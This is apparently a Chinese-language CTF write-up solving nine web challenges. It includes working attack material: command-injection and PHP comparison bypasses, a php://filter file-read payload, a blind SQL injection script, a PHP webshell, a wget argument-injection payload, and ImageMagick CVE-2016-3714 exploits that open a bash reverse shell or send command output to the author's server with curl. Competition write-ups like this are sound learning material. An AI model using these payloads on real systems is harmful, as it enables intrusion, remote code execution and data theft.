Web-writeup

1.Web签到题

典型签到题,点开网址是一个主办方打广告的主页,想必是跳转了。burp抓一下包就找到flag了。

2.Web2-少年你真的会使用PING吗?

进去是一个类似于shell的东西,输个百度地址也能ping通。应该是命令执行绕过。

一试果然,所以直接cat%20flag_is_here.php,发现没返回,怕是过滤了,用tac命令试一下,成功返回flag。

3.Web3

随便输入admin信息看一下反应

多post了一个name参数 去掉name参数会出现源码,文字已经提示了代码审计。

 if(isset($_POST['login'])){
    if(isset($_POST['user']))
    {
        if(@strcmp($_POST['user'],$USER))//USER是被隐藏的复杂用户名
        {
            die('user错误!');
        }
    }
    if (isset($_POST['name']) && isset($_POST['password']))
    {
        if ($_POST['name'] == $_POST['password'] )
        {
            die('账号密码不能一致!');
        }
        if (md5($_POST['name']) === md5($_POST['password']))
        {
        if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id'])){
                    if($_POST['id']==72)
                    die("flag{xxxxxxxxxxxxx}");
                    else
                        die("ID错误2!");}
            else{die("ID错误1!");}
        }else{
            die('账号密码错误!');}
 }

根据代码分析,最后POST的参数是user[]=&password[]=&id=072&login=Check&name[]=1 就能绕过了

4.Web4文件上传

不多说,一个文件上传绕过,甚至还有tips 直接找个php一句话木马传上去,看看过滤了什么

经过试验,后缀名过滤了php,文件内容过滤了code`绕过 上传成功后访问你上传的木马就会得到flag

5.Web6-Vulhub

题目一开始给的范围有点大,一开始看到留言,以为XSS,看到提示url_include_open=on,以为文件包含,通过about页面的参数

?f=php://filter/read=convert.base64-encode/resource=xxx.php

就会得到base64编码后的xxx.php的源码。

解码后

发现一个flag.php,解码后提示flag在数据库中。。。又是一个坑

随找注入点。 留言的地方发留言用burp截断之后,response返回的是一串sql语句+username。

INSERT INTO XXX SET(username,content,data) VALUES (‘xxx’,’xxx’,now())

这个地方这么明显的提示,当然是注入啊。。。 发现username和content都是有addslashes()转义的。我还以为有什么神操作可以绕过,一直在这耗,毕竟提示都打印sql语句了。最后还是没得办法,2333 最后发现这是个坑,真正的注入点是一个search留言的get参数,欲哭无泪。 最后用盲注高出flag了 POC 如下:

import requests,re
url = "http://116.62.63.190:8002/ee00f46afe33f2ff/web6//search.php?search=a"
# 5'or%20ord(substr((Select%0bcolumncolumn_name_name%20%0bfromfrom%20%20informatioinformation_schema.columnsn_schema.columns%20%20wherewhere%20%0btable_name='flag'%20limit%20{},1),{},1))%26{}%20or%20'1'='0
# payload="5'or%20ord(substr((/*!50000Select*/%0bflag%20from%20web1.flag%20%20where%201%0b%20limit%20{},1),{},1))%26{}%20or%20'1'='0"
payload = "'or%20ord(substr((/*!50000Select*/%0badmin_pass%20from%20ctf4.admin%20where%201%20limit%20{},1),{},1))%26{}%23"
l = [1,2,4,8,16,32,64]
for i in xrange(100):
    str=""
    for j in xrange(1,100):
        num=0
        for t in l:
            html = requests.get(url+payload.format(i,j,t)).text
            if "111111" in html:
                num+=t
        if num==0:
            break
        str+=chr(num)
        print str+"_"
    print str
    if str=="":
        break
print "============================"
print "End"

本题总结:

可以找到的切入点太多(坑太多),混淆视听,实际考察的东西却过于简单,可能是我想太多了吧2333

6.Web7-imagemagick

500分的题目,还是挺有难度的,考查的是一个去年的imagemagick远程执行漏洞(CVE-2016-3714) freebuf上有分析http://www.freebuf.com/vuls/103504.html

一开始没给提示,然后给个phpinfo,然后下午不知道什么时候再给了一个图片才知道是这个漏洞。。(出题人也是无力吐槽,各种改题不提示,环境还迟迟未搭建好)

网上查到exploit,

push graphic-context
viewbox 0 0 640 480
fill 'url(https://公网ip/image.jpg"||bash -i >& /dev/tcp/你的vps/9999 0>&1")'
pop graphic-context

将exploit变成一个图片的内容保存起来,格式png,Jpg都是可以的, 我是改成.mvg,然后burp截包吧Content-Type改成image/jpeg,因为漏洞主要是用了ImageMagick处理图片转换格式的时候遇到畸形内容的图片,使用system函数处理https请求然后导致漏洞产生。直接上传png,jpg没试过,大家可以试试。 上面的exp是执行命令反弹shell的,我没有成功反弹,随改成请求我的vps,然后侦听端口,把想要的结果用cookie传过来。 我的exploit:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://www.baidu.com/img/bd_logo1.png"|curl --cookie \"name=`ls`\" http://我的vps IP:2502 ")'
pop graphic-context

先开启VPS侦听端口 把这个exp保存为图片后上传会执行’ls’命令,然后将ls命令执行结果存为name=结果的cookie,然后再通过curl发送cookie到我的vps上。

提示flag在tmp里面

改一下命令

fill 'url(https://www.baidu.com/img/bd_logo1.png"|curl --cookie \"name=`ls  /tmp |grep flag `\" http://我的vps IP:2502 ")'

VPS接收到的是

随后

fill 'url(https://www.baidu.com/img/bd_logo1.png"|curl --cookie \"name=`cat /tmp/flag.txt`\" http://我的vps IP:2502  ")'

本题总结:

由于本人开始写exploit的时候忽略了一些细节,导致cookie传不出来,也想不到其他传出命令执行结果的方法,故在比赛结束后几分钟才解得flag,丢失了500分,贼气。说明还是得熟悉linux操作、提升漏洞复现,随机应变的能力。

7.Web8-Git泄露

说是送分题,其实也拖了挺久时间的。。。也许因为太菜吧

进去提示url=git 但是修改url,没有任何反应 可能这就是传说中的提示吧

用Githack扫一下地址就能得到flag了

打开83c0eb95cf761515fe09c2ad39527a39.txt

Base64解得:

flag:{86045abb89db3e841f68593e3ecb7993}

8.Web9-Wget

比赛的时候没有做出来这道题,比赛后才知道这种思路。 一开始以为绕过wget命令,因为是批量下载,没有绕过。 发现可以用wget的参数-P指定目录-O指定文件名字 但是随便输入一个地址会发现Permission Denied

说明当前目录不可写 然后我就搁置在这了,主要是源码注释里面存在一个admin.php 一直在想这个admin.php有啥用

一直在纠结这个 然后自己写出来后才知道,没卵用。我的心情是复杂的。

接着目录不可写,发现上上级目录/var/www/html是可写的 Payload为

-P /var/www/haml -O+/var/www/html/wz.php http://我的VPS/code.txt

会发现已经写入

我的VPS上的Code.txt的内容是一个一句话木马:

My code
<?php
System($_POST[“code”]);
?>

随后访问http://116.62.63.190:8005/wz.php,发现一句话已经写入了

接着就是找flag了。 最后在/var/www/html/4b0cf03220fefbf6/web9/flag.php下找到flag

Web题结束